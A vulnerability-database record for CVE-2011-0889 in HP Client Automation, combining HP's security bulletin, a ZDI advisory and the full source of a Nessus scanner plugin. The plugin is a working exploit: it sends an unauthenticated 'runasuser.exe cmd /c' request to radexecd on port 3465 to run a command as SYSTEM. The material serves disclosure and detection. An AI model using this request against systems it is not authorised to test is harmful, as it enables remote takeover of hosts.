[security bulletin] HPSBMA02644 SSRT100284 rev.1 - HP Client Automation Enterprise (HPCA) Running on Windows, Remote Execution of Arbitrary Code
2011-03-15T00:00:00
ID SECURITYVULNS:DOC:25917 Type securityvulns Reporter Securityvulns Modified 2011-03-15T00:00:00
Description
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
SUPPORT COMMUNICATION - SECURITY BULLETIN
Document ID: c02750690
Version: 1
HPSBMA02644 SSRT100284 rev.1 - HP Client Automation Enterprise (HPCA) Running on Windows, Remote Execution of Arbitrary Code
NOTICE: The information in this Security Bulletin should be acted upon as soon as possible.
Release Date: 2011-03-14
Last Updated: 2011-03-14
Potential Security Impact: Remote execution of arbitrary code
Source: Hewlett-Packard Company, HP Software Security Response Team
VULNERABILITY SUMMARY
A potential security problem has been identified with HP Client Automation Enterprise software (HPCA) running on Windows. HPCA was formerly known as Radia
Notify. This vulnerability could be exploited to allow execution of arbitrary code.
References: CVE-2011-0889, ZDI-CAN-914
SUPPORTED SOFTWARE VERSIONS*: ONLY impacted versions are listed.
HP Client Automation v5.11, v7.2, v7.5, v7.8, and v7.9
BACKGROUND
CVSS 2.0 Base Metrics
Reference Base Vector Base Score
CVE-2011-0889 (AV:N/AC:M/Au:N/C:C/I:C/A:C) 10.0
===========================================================
Information on CVSS is documented
in HP Customer Notice: HPSN-2008-002
The Hewlett-Packard Company thanks an anonymous security researcher working with TippingPoint Zero Day Initiative for reporting this vulnerability to
security-alert@hp.com
RESOLUTION
The vulnerability is caused by a non standard configuration and can be resolved by verifying configuration of HP Client Automation Enterprise software (HPCA).
Follow the advice from the article for Notify Security, KM99956.
Documentation for this resolution (KM99956) is available from the HP Software Support Online portal at http://support.openview.hp.com/selfsolve/document/KM99956
PRODUCT SPECIFIC INFORMATION
None
Third Party Security Patches: Third party security patches that are to be installed on systems running HP software products should be applied in accordance with
the customer's patch management policy.
Support: For further information, contact normal HP Services support channel.
Report: To report a potential security vulnerability with any HP supported product, send Email to: security-alert@hp.com
It is strongly recommended that security related information being communicated to HP be encrypted using PGP, especially exploit information.
To get the security-alert PGP key, please send an e-mail message as follows:
To: security-alert@hp.com
Subject: get key
Subscribe: To initiate a subscription to receive future HP Security Bulletins via Email:
http://h30046.www3.hp.com/driverAlertProfile.php?regioncode=NA&langcode=USENG&jumpid=in_SC-GEN__driverITRC&topiccode=ITRC
On the web page: ITRC security bulletins and patch sign-up
Under Step1: your ITRC security bulletins and patches
-check ALL categories for which alerts are required and continue.
Under Step2: your ITRC operating systems
-verify your operating system selections are checked and save.
To update an existing subscription: http://h30046.www3.hp.com/subSignIn.php
Log in on the web page: Subscriber's choice for Business: sign-in.
On the web page: Subscriber's Choice: your profile summary - use Edit Profile to update appropriate sections.
To review previously published Security Bulletins visit: http://www.itrc.hp.com/service/cki/secBullArchive.do
The Software Product Category that this Security Bulletin
relates to is represented by the 5th and 6th characters
of the Bulletin number in the title:
GN = HP General SW
MA = HP Management Agents
MI = Misc. 3rd Party SW
MP = HP MPE/iX
NS = HP NonStop Servers
OV = HP OpenVMS
PI = HP Printing & Imaging
ST = HP Storage SW
TL = HP Trusted Linux
TU = HP Tru64 UNIX
UX = HP-UX
VV = HP VirtualVault
System management and security procedures must be reviewed frequently to maintain system integrity. HP is continually reviewing and enhancing the security
features of software products to provide customers with current secure solutions.
"HP is broadly distributing this Security Bulletin in order to bring to the attention of users of the affected HP products the important security information
contained in this Bulletin. HP recommends that all users determine the applicability of this information to their individual situations and take appropriate
action. HP does not warrant that this information is necessarily accurate or complete for all user situations and, consequently, HP will not be responsible for
any damages resulting from user's use or disregard of the information provided in this Bulletin. To the extent permitted by law, HP disclaims all warranties,
either express or implied, including the warranties of merchantability and fitness for a particular purpose, title and non-infringement."
Copyright 2011 Hewlett-Packard Development Company, L.P.
Hewlett-Packard Company shall not be liable for technical or editorial errors or omissions contained herein. The information provided is provided "as is" without
warranty of any kind. To the extent permitted by law, neither HP or its affiliates, subcontractors or suppliers will be liable for incidental,special or
consequential damages including downtime cost; lost profits;damages relating to the procurement of substitute products or services; or damages for loss of data,
or software restoration. The information in this document is subject to change without notice. Hewlett-Packard Company and the names of Hewlett-Packard products
referenced herein are trademarks of Hewlett-Packard Company in the United States and other countries. Other product and company names mentioned herein may be
trademarks of their respective owners.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.10 (GNU/Linux)
{"id": "SECURITYVULNS:DOC:25917", "bulletinFamily": "software", "title": "[security bulletin] HPSBMA02644 SSRT100284 rev.1 - HP Client Automation Enterprise (HPCA) Running on Windows, Remote Execution of Arbitrary Code", "description": "-----BEGIN PGP SIGNED MESSAGE-----\r\nHash: SHA1\r\n\r\nSUPPORT COMMUNICATION - SECURITY BULLETIN\r\n\r\nDocument ID: c02750690\r\nVersion: 1\r\n\r\nHPSBMA02644 SSRT100284 rev.1 - HP Client Automation Enterprise (HPCA) Running on Windows, Remote Execution of Arbitrary Code\r\n\r\nNOTICE: The information in this Security Bulletin should be acted upon as soon as possible.\r\n\r\nRelease Date: 2011-03-14\r\nLast Updated: 2011-03-14\r\n\r\nPotential Security Impact: Remote execution of arbitrary code\r\n\r\nSource: Hewlett-Packard Company, HP Software Security Response Team\r\n\r\nVULNERABILITY SUMMARY\r\nA potential security problem has been identified with HP Client Automation Enterprise software (HPCA) running on Windows. HPCA was formerly known as Radia\r\nNotify. This vulnerability could be exploited to allow execution of arbitrary code.\r\n\r\nReferences: CVE-2011-0889, ZDI-CAN-914\r\n\r\nSUPPORTED SOFTWARE VERSIONS*: ONLY impacted versions are listed.\r\nHP Client Automation v5.11, v7.2, v7.5, v7.8, and v7.9\r\n\r\nBACKGROUND\r\n\r\nCVSS 2.0 Base Metrics\r\n===========================================================\r\n Reference Base Vector Base Score\r\nCVE-2011-0889 (AV:N/AC:M/Au:N/C:C/I:C/A:C) 10.0\r\n===========================================================\r\n Information on CVSS is documented\r\n in HP Customer Notice: HPSN-2008-002\r\n\r\nThe Hewlett-Packard Company thanks an anonymous security researcher working with TippingPoint Zero Day Initiative for reporting this vulnerability to\r\nsecurity-alert@hp.com\r\n\r\nRESOLUTION\r\n\r\nThe vulnerability is caused by a non standard configuration and can be resolved by verifying configuration of HP Client Automation Enterprise software (HPCA).\r\nFollow the advice from the article for Notify Security, KM99956.\r\n\r\nDocumentation for this resolution (KM99956) is available from the HP Software Support Online portal at http://support.openview.hp.com/selfsolve/document/KM99956\r\n\r\nPRODUCT SPECIFIC INFORMATION\r\nNone\r\n\r\nThird Party Security Patches: Third party security patches that are to be installed on systems running HP software products should be applied in accordance with\r\nthe customer's patch management policy.\r\n\r\nSupport: For further information, contact normal HP Services support channel.\r\n\r\nReport: To report a potential security vulnerability with any HP supported product, send Email to: security-alert@hp.com\r\nIt is strongly recommended that security related information being communicated to HP be encrypted using PGP, especially exploit information.\r\nTo get the security-alert PGP key, please send an e-mail message as follows:\r\n To: security-alert@hp.com\r\n Subject: get key\r\nSubscribe: To initiate a subscription to receive future HP Security Bulletins via Email:\r\nhttp://h30046.www3.hp.com/driverAlertProfile.php?regioncode=NA&langcode=USENG&jumpid=in_SC-GEN__driverITRC&topiccode=ITRC\r\nOn the web page: ITRC security bulletins and patch sign-up\r\nUnder Step1: your ITRC security bulletins and patches\r\n -check ALL categories for which alerts are required and continue.\r\nUnder Step2: your ITRC operating systems\r\n -verify your operating system selections are checked and save.\r\n\r\nTo update an existing subscription: http://h30046.www3.hp.com/subSignIn.php\r\nLog in on the web page: Subscriber's choice for Business: sign-in.\r\nOn the web page: Subscriber's Choice: your profile summary - use Edit Profile to update appropriate sections.\r\n\r\nTo review previously published Security Bulletins visit: http://www.itrc.hp.com/service/cki/secBullArchive.do\r\n\r\n* The Software Product Category that this Security Bulletin\r\nrelates to is represented by the 5th and 6th characters\r\nof the Bulletin number in the title:\r\n\r\nGN = HP General SW\r\nMA = HP Management Agents\r\nMI = Misc. 3rd Party SW\r\nMP = HP MPE/iX\r\nNS = HP NonStop Servers\r\nOV = HP OpenVMS\r\nPI = HP Printing & Imaging\r\nST = HP Storage SW\r\nTL = HP Trusted Linux\r\nTU = HP Tru64 UNIX\r\nUX = HP-UX\r\nVV = HP VirtualVault\r\n\r\nSystem management and security procedures must be reviewed frequently to maintain system integrity. HP is continually reviewing and enhancing the security\r\nfeatures of software products to provide customers with current secure solutions.\r\n\r\n"HP is broadly distributing this Security Bulletin in order to bring to the attention of users of the affected HP products the important security information\r\ncontained in this Bulletin. HP recommends that all users determine the applicability of this information to their individual situations and take appropriate\r\naction. HP does not warrant that this information is necessarily accurate or complete for all user situations and, consequently, HP will not be responsible for\r\nany damages resulting from user's use or disregard of the information provided in this Bulletin. To the extent permitted by law, HP disclaims all warranties,\r\neither express or implied, including the warranties of merchantability and fitness for a particular purpose, title and non-infringement."\r\n\r\nCopyright 2011 Hewlett-Packard Development Company, L.P.\r\nHewlett-Packard Company shall not be liable for technical or editorial errors or omissions contained herein. The information provided is provided "as is" without\r\nwarranty of any kind. To the extent permitted by law, neither HP or its affiliates, subcontractors or suppliers will be liable for incidental,special or\r\nconsequential damages including downtime cost; lost profits;damages relating to the procurement of substitute products or services; or damages for loss of data,\r\nor software restoration. The information in this document is subject to change without notice. Hewlett-Packard Company and the names of Hewlett-Packard products\r\nreferenced herein are trademarks of Hewlett-Packard Company in the United States and other countries. Other product and company names mentioned herein may be\r\ntrademarks of their respective owners.\r\n-----BEGIN PGP SIGNATURE-----\r\nVersion: GnuPG v1.4.10 (GNU/Linux)\r\n\r\niEYEARECAAYFAk1+QfgACgkQ4B86/C0qfVmKYACgnoQEIy4K5AmZW1w2dspzeTAM\r\nsvkAniixpsKv2/A49ZSpioWdzkV7P6ga\r\n=Zy/L\r\n-----END PGP SIGNATURE-----", "published": "2011-03-15T00:00:00", "modified": "2011-03-15T00:00:00", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:25917", "reporter": "Securityvulns", "references": [], "cvelist": ["CVE-2011-0889"], "type": "securityvulns", "lastseen": "2018-08-31T11:10:39", "edition": 1, "viewCount": 6, "enchantments": {"score": {"value": 7.5, "vector": "NONE", "modified": "2018-08-31T11:10:39", "rev": 2}, "dependencies": {"references": [{"type": "cve", "idList": ["CVE-2011-0889"]}, {"type": "nessus", "idList": ["HPCA_COMMAND_EXECUTION.NASL"]}, {"type": "zdi", "idList": ["ZDI-11-105"]}, {"type": "securityvulns", "idList": ["SECURITYVULNS:VULN:11500", "SECURITYVULNS:DOC:25982"]}], "modified": "2018-08-31T11:10:39", "rev": 2}, "vulnersScore": 7.5}, "affectedSoftware": []}
{"cve": [{"lastseen": "2021-02-02T05:50:59", "description": "Unspecified vulnerability in HP Client Automation Enterprise (aka HPCA or Radia Notify) 5.11, 7.2, 7.5, 7.8, and 7.9 allows remote attackers to execute arbitrary code via unknown vectors.", "edition": 4, "cvss3": {}, "published": "2011-03-16T22:55:00", "title": "CVE-2011-0889", "type": "cve", "cwe": ["NVD-CWE-noinfo"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2011-0889"], "modified": "2017-08-17T01:33:00", "cpe": ["cpe:/a:hp:client_automation_enterprise:7.8", "cpe:/a:hp:client_automation_enterprise:7.5", "cpe:/a:hp:client_automation_enterprise:7.9", "cpe:/a:hp:client_automation_enterprise:7.2", "cpe:/a:hp:client_automation_enterprise:5.11"], "id": "CVE-2011-0889", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2011-0889", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "cpe23": ["cpe:2.3:a:hp:client_automation_enterprise:7.5:*:*:*:*:*:*:*", "cpe:2.3:a:hp:client_automation_enterprise:5.11:*:*:*:*:*:*:*", "cpe:2.3:a:hp:client_automation_enterprise:7.8:*:*:*:*:*:*:*", "cpe:2.3:a:hp:client_automation_enterprise:7.2:*:*:*:*:*:*:*", "cpe:2.3:a:hp:client_automation_enterprise:7.9:*:*:*:*:*:*:*"]}], "zdi": [{"lastseen": "2020-06-22T11:40:34", "bulletinFamily": "info", "cvelist": ["CVE-2011-0889"], "edition": 3, "description": "This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of HP Client Automation. Authentication is not required to exploit this vulnerability. The flaw exists within the radexecd.exe component which listens by default on TCP port 3465. When handling a remote execute request the process does not properly authenticate the user issuing the request. Utilities are stored in the 'secure' path which enable an attacker to re-execute an arbitrary executable. A remote attacker can exploit this vulnerability to execute arbitrary code under the context of the SYSTEM user.", "modified": "2011-06-22T00:00:00", "published": "2011-03-18T00:00:00", "href": "https://www.zerodayinitiative.com/advisories/ZDI-11-105/", "id": "ZDI-11-105", "title": "Hewlett-Packard Client Automation radexecd.exe Remote Code Execution Vulnerability", "type": "zdi", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "securityvulns": [{"lastseen": "2018-08-31T11:09:41", "bulletinFamily": "software", "cvelist": ["CVE-2011-0889"], "description": "Code execution with radexecd.exe (TCP/3465).", "edition": 1, "modified": "2011-03-23T00:00:00", "published": "2011-03-23T00:00:00", "id": "SECURITYVULNS:VULN:11500", "href": "https://vulners.com/securityvulns/SECURITYVULNS:VULN:11500", "title": "HP Client Automation code execution", "type": "securityvulns", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2018-08-31T11:10:39", "bulletinFamily": "software", "cvelist": ["CVE-2011-0889"], "description": "ZDI-11-105: Hewlett-Packard Client Automation radexecd.exe Remote Code Execution Vulnerability\r\n\r\nhttp://www.zerodayinitiative.com/advisories/ZDI-11-105\r\n\r\nMarch 18, 2011\r\n\r\n-- CVE ID:\r\nCVE-2011-0889\r\n\r\n-- CVSS:\r\n10, (AV:N/AC:L/Au:N/C:C/I:C/A:C)\r\n\r\n-- Affected Vendors:\r\nHewlett-Packard\r\n\r\n-- Affected Products:\r\nHewlett-Packard Client Automation\r\n\r\n-- TippingPoint(TM) IPS Customer Protection:\r\nTippingPoint IPS customers have been protected against this\r\nvulnerability by Digital Vaccine protection filter ID 10841. \r\nFor further product information on the TippingPoint IPS, visit:\r\n\r\n http://www.tippingpoint.com\r\n\r\n-- Vulnerability Details:\r\nThis vulnerability allows remote attackers to execute arbitrary code on\r\nvulnerable installations of HP Client Automation. Authentication is not\r\nrequired to exploit this vulnerability. \r\n\r\nThe flaw exists within the radexecd.exe component which listens by\r\ndefault on TCP port 3465. When handling a remote execute request the\r\nprocess does not properly authenticate the user issuing the request.\r\nUtilities are stored in the 'secure' path which enable an attacker to\r\nre-execute an arbitrary executable. A remote attacker can exploit this\r\nvulnerability to execute arbitrary code under the context of the SYSTEM\r\nuser.\r\n\r\n-- Vendor Response:\r\nHewlett-Packard has issued an update to correct this vulnerability. More\r\ndetails can be found at:\r\n\r\nhttp://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c02750690\r\n\r\n-- Disclosure Timeline:\r\n2010-09-23 - Vulnerability reported to vendor\r\n2011-03-18 - Coordinated public release of advisory\r\n\r\n-- Credit:\r\nThis vulnerability was discovered by:\r\n * Anonymous\r\n\r\n-- About the Zero Day Initiative (ZDI):\r\nEstablished by TippingPoint, The Zero Day Initiative (ZDI) represents \r\na best-of-breed model for rewarding security researchers for responsibly\r\ndisclosing discovered vulnerabilities.\r\n\r\nResearchers interested in getting paid for their security research\r\nthrough the ZDI can find more information and sign-up at:\r\n\r\n http://www.zerodayinitiative.com\r\n\r\nThe ZDI is unique in how the acquired vulnerability information is\r\nused. TippingPoint does not re-sell the vulnerability details or any\r\nexploit code. Instead, upon notifying the affected product vendor,\r\nTippingPoint provides its customers with zero day protection through\r\nits intrusion prevention technology. Explicit details regarding the\r\nspecifics of the vulnerability are not exposed to any parties until\r\nan official vendor patch is publicly available. Furthermore, with the\r\naltruistic aim of helping to secure a broader user base, TippingPoint\r\nprovides this vulnerability information confidentially to security\r\nvendors (including competitors) who have a vulnerability protection or\r\nmitigation product.\r\n\r\nOur vulnerability disclosure policy is available online at:\r\n\r\n http://www.zerodayinitiative.com/advisories/disclosure_policy/\r\n\r\nFollow the ZDI on Twitter:\r\n\r\n http://twitter.com/thezdi", "edition": 1, "modified": "2011-03-23T00:00:00", "published": "2011-03-23T00:00:00", "id": "SECURITYVULNS:DOC:25982", "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:25982", "title": "ZDI-11-105: Hewlett-Packard Client Automation radexecd.exe Remote Code Execution Vulnerability", "type": "securityvulns", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "nessus": [{"lastseen": "2021-03-01T03:31:16", "description": "The HP Client Automation service on the remote port is affected by a\ncommand execution vulnerability. The vulnerability allows remote\nattackers to execute arbitrary code on vulnerable installations of HP\nClient Automation. Authentication is not required to exploit the\nvulnerability.\n\nThe flaw exists within the radexecd.exe component. When handling a\nremote execute request, the process does not properly authenticate the\nuser issuing the request. Utilities are stored in the 'secure' path\nthat could allow an attacker to re-execute an arbitrary executable. A\nremote attacker can exploit this vulnerability to execute arbitrary\ncode under the context of the SYSTEM user.", "edition": 27, "published": "2011-09-12T00:00:00", "title": "HP Client Automation radexecd.exe Remote Command Execution", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2011-0889"], "modified": "2021-03-02T00:00:00", "cpe": ["cpe:/a:hp:client_automation_enterprise"], "id": "HPCA_COMMAND_EXECUTION.NASL", "href": "https://www.tenable.com/plugins/nessus/56166", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(56166);\n script_version(\"1.7\");\n script_cvs_date(\"Date: 2018/11/15 20:50:27\");\n\n script_cve_id(\"CVE-2011-0889\");\n script_bugtraq_id(46862);\n\n script_name(english:\"HP Client Automation radexecd.exe Remote Command Execution\");\n script_summary(english:\"Checks for a command-execution vulnerability in HP Client Automation\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The HP Client Automation service on the remote port can run commands\non the local system without authentication.\");\n\n script_set_attribute(attribute:\"description\", value:\n\"The HP Client Automation service on the remote port is affected by a\ncommand execution vulnerability. The vulnerability allows remote\nattackers to execute arbitrary code on vulnerable installations of HP\nClient Automation. Authentication is not required to exploit the\nvulnerability.\n\nThe flaw exists within the radexecd.exe component. When handling a\nremote execute request, the process does not properly authenticate the\nuser issuing the request. Utilities are stored in the 'secure' path\nthat could allow an attacker to re-execute an arbitrary executable. A\nremote attacker can exploit this vulnerability to execute arbitrary\ncode under the context of the SYSTEM user.\");\n\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?73bff505\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.zerodayinitiative.com/advisories/ZDI-11-105/\");\n script_set_attribute(attribute:\"solution\", value: \"See the advisory for a possible solution. Alternatively, block access to the port.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:U/RL:OF/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"false\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2011/03/14\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2011/03/14\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2011/09/12\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"remote\"); \n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:hp:client_automation_enterprise\");\n script_set_attribute(attribute:\"exploited_by_nessus\", value:\"true\");\n script_end_attributes();\n\n script_category(ACT_ATTACK);\n script_family(english:\"Windows\");\n script_copyright(english:\"This script is Copyright (C) 2011-2018 Tenable Network Security, Inc.\");\n\n script_dependencies('ovcm_notify_daemon_detect.nasl', 'hp_client_automation_satellite_detect.nasl');\n script_require_keys('Services/radexecd', 'www/hp_client_automation_satellite');\n exit(0);\n}\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"http.inc\");\ninclude(\"misc_func.inc\");\ninclude(\"webapp_func.inc\");\n\nfunction radexec_run(port, command)\n{\n local_var s;\n\n # Open the connection to radexecd\n s = open_sock_tcp(port);\n if(!s) exit(1, \"Can't open socket on port \"+port+\".\");\n\n # Send the request\n send(socket:s, data:\n '12345\\0' + # connect-back port number - doesn't matter\n '\\0' + # username - not necessary\n '\\0' + # password - not necessary\n 'runasuser.exe ' + # the built-in service to call\n 'cmd /c \"' + command + '\"\\0');\n\n # One byte should be returned, and we don't care what it is\n recv(socket:s, length:1, min:1);\n\n close(s);\n}\n\n# The port for the execution service\nport_radexec = get_service(svc:'radexecd', default:3465, exit_on_fail:TRUE);\n\n# The port where we retrieve the file afterwards\nport_httpd = get_http_port(default:3466);\n\n# Filter out ports that aren't running HPCA Satellite\nget_install_from_kb(appname:\"hp_client_automation_satellite\", port:port_httpd, exit_on_fail:TRUE);\n\n# The command to run for the exploit\ncommand = 'ipconfig /all';\noutput_str = 'Windows IP Configuration';\n\n# Pick a unique filename so we can properly validate the 'attack'\nfilename = SCRIPT_NAME + '_' + rand() + '.txt';\n\n# Run the command that creates the file\nradexec_run(port:port_radexec, command:command + ' > \\\\progra~1\\\\hewlet~1\\\\HPCA\\\\ApacheServer\\\\htdocs\\\\' + filename);\n\n# Give the command a couple seconds to run\nsleep(5);\n\n# Grab the file\nr = http_send_recv3(method:\"GET\", item:\"/\" + filename, port:port_httpd, exit_on_fail:TRUE);\noutput = r[2];\n\n# Delete the file (we do this even if it didn't appear to succeed, because it's\n# possible that it succeeded but we couldn't access it via Web or something\nradexec_run(port:port_radexec, command:'del \\\\progra~1\\\\hewlet~1\\\\HPCA\\\\ApacheServer\\\\htdocs\\\\' + filename);\n\n# Check if the output contains the expected string\nif(output && (output_str >< output))\n{\n if(report_verbosity > 0)\n {\n report = '\\n' +\n 'Nessus was able to exploit the vulnerability to execute the command\\n' +\n '\\'' + command + '\\' on the remote host, which produced the following output :\\n' +\n crap(data:\"-\", length:30) + \" snip \" + crap(data:\"-\", length:30) + '\\n' +\n chomp(output) + '\\n' +\n crap(data:\"-\", length:30) + \" snip \" + crap(data:\"-\", length:30) + '\\n';\n security_hole(port:port_radexec, extra:report);\n }\n else security_hole(port_radexec);\n exit(0);\n}\nelse exit(0, \"The server on port \"+port_radexec+\" does not appear to be affected.\");\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}]}